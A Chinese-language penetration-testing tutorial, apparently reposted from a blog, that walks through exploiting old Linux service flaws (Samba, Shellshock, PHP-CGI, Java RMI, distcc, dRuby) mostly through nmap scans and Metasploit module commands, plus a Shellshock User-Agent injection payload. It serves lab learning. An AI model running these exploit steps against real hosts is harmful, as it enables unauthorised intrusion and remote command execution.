Linux常見漏洞


據我所知,Linux因為開源的原因,不論是性能還是安全都是足夠強大的。這里就盡我所能寫一下自己所知道的漏洞吧。

CVE-2017-7494 (linux samba漏洞,139和445端口)、 CVE-2014-6271(bash shellshock破殼)、PHP cgi、cve-2013-0422(Java RMI SERVER 命令執行漏洞與java,1099端口)、CVE-2004-2678、OSVDB-13378(Distcc后門漏洞)、Druby命令執行(8787端口)

samba漏洞

Samba是在Linux和UNIX系統上實現SMB協議的一個免費軟件,由服務器及客戶端程序構成,samba服務對應的端口有139、445等等

1、首先要掃描目標主機上開放的端口和服務,用nmap,命令如下:

nmap -sS -Pn -A 192.168.17.72

2、發現主機上開放的139,445端口之后,說明該主機有可能存在samba服務遠程溢出漏洞,嘗試通過該端口建立一個meterpreter 會話,需要用到metasploit.

CVE2017-7494測試

漏洞編號:CVE-2017-7494 

漏洞等級:嚴重 

影響版本:漏洞影響了Samba 3.5.0 之后的版本,不包含4.6.4/4.5.10/4.4.14

靶機samba漏洞配置

samba -v查看版本

vi /etc/samba/smb.conf

#======================= Share Definitions =======================

[public]              
   comment = public
   browseable = yes
   writeable =yes
   path = /tmp/public
   public = yes
   read only = no

(公用)

注釋=公共

可瀏覽= yes

可寫= yes

= / tmp /公共道路

公共= yes

只讀=不

創建共享目錄  
root@kali:~# mkdir /tmp/public 
修改讀寫執行權限  
root@kali:~# chmod 777 /tmp/public

Kali Linux 2017 重啟/啟動Samba服務

重啟samba服務  
root@kali:~# /etc/init.d/samba restart 
查看samba進程  
root@kali:~# ps aux | grep samba 
查看samba端口狀態(默認采用139和445端口)  
root@kali:~# netstat -tnlp samba

MSF滲透測試

1、打開metasploit之后需要先判斷samba的版本,命令如下:

msf> search scanner/samba 

這條命令用來查找samba相關exploit參數

2、然后使用如下命令來定義要掃描samba的版本所用到的exploits參數。

msf> use auxiliary/scanner/smb/smb_version

msfauxiliary(smb_version) > set RHOSTS 192.168.0.102 
ps:poc可能會存在64位和32位之分,所以可以添加一下操作

set target 3

set rhosts rport139,445

ps:payload和端口其實已經自動設置

這條命令定義你將要掃描samba版本的遠程主機的IP地址.

3、開始漏洞利用

exploit

該命令將開始漏洞利用

4、發現samba版本之后,我們需要進一步利用來入侵進入到遠程linux主機

msf> use exploit/multi/samba/usermap_script

msf exploit(usermap_script) > set RHOST 192.168.0.102

msf exploit(usermap_script) > exploit

執行完成以上命令如圖所示,成功創建了shell 會話.

 

metepreter滲透后操作

這里就不講了,可查看msf篇

bash破殼漏洞

CVE-2014-6271(破殼)

 

Shellshock的原理是利用了Bash在導入環境變量函數時候的漏洞,啟動Bash的時候,它不但會導入這個函數,而且也會把函數定義后面的命令執行。在有些CGI腳本的設計中,數據是通過環境變量來傳遞的,這樣就給了數據提供者利用Shellshock漏洞的機會。

 

簡單來說就是由於服務器的cgi腳本調用了bash命令,由於bash版本過低,攻擊者把有害數據寫入環境變量,傳到服務器端,觸發服務器運行Bash腳本,完成攻擊。

對方web站點使用了cgi的表現:www.xxx.com/cgi-xxx/xxx

起始,cgi的漏洞遠不止此!

開始滲透測試

burpsuit漏洞驗證

將user-agent頭改為:() { :;};echo ; echo;echo $(/bin/ls -al /flag /);

kali系統漏洞驗證

由於kali中的msf關於這個漏洞沒做好,不太方便,就不演示了。

cd /usr/bin/

cd /usr/lib/cgi-bin/

vim hole.sh(編寫腳本)

msf測試:

set TARGETURL 網站路徑

CVE2012-1823(phpCGI漏洞)

phpinfo()查看:

 

 可以看出,系統中API開啟了CGI/FastCGI。那么就有可能存在phpCGI漏洞了

開始kali攻擊(照舊)

msf > search cve:2012-1823

msf > use exploit/multi/http/php_cgi_arg_injection

msf exploit(php_cgi_arg_injection) > show options

msf exploit(php_cgi_arg_injection) > set rhost 192.168.0.102

rhost => 192.168.0.102

msf exploit(php_cgi_arg_injection) > run

CVE2013-0422(Java RMI SERVER 命令執行漏洞與java)

 

Java RMI SERVER 的 RMI 注冊表和 RMI 激活服務的默認配置存在安全漏洞,導致代碼執行。

 

利用步驟:

 

nmap -p 0-65535 IP ,查看1099端口是否開啟


use exploit/multi/misc/java_rmi_server


set RHOST IP


exploit


shell(進入meterpreter 時執行)

 

Distcc后門漏洞

 

安全組織索引:CVE-2004-2678、OSVDB-13378

該漏洞在國內不常見

 

原理:

 

Distcc用於大量代碼在網絡服務器上的分布式編譯,但是如果配置不嚴格,容易被濫用執行命令,該漏洞是Xcode 1.5版本及其他版本的 distcc 2.x版本配置對於服務器端口的訪問不限制

 

利用步驟:

 

啟動metasploit


use exploit/unix/misc/distcc_exec


set RHOST IP


exploit


id 查看權限 uname -a 驗證

Druby命令執行(8787)

Druby配置不當,被濫用執行命令

利用步驟:

啟動metasploit

發現8787 Druby端口

search drb 搜索drb相關漏洞

use exploit/linux/misc/drb_remote_codeexec

set URL druby:IP:8787 ,設置目標druby鏈接

exploit

id,uname -a

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM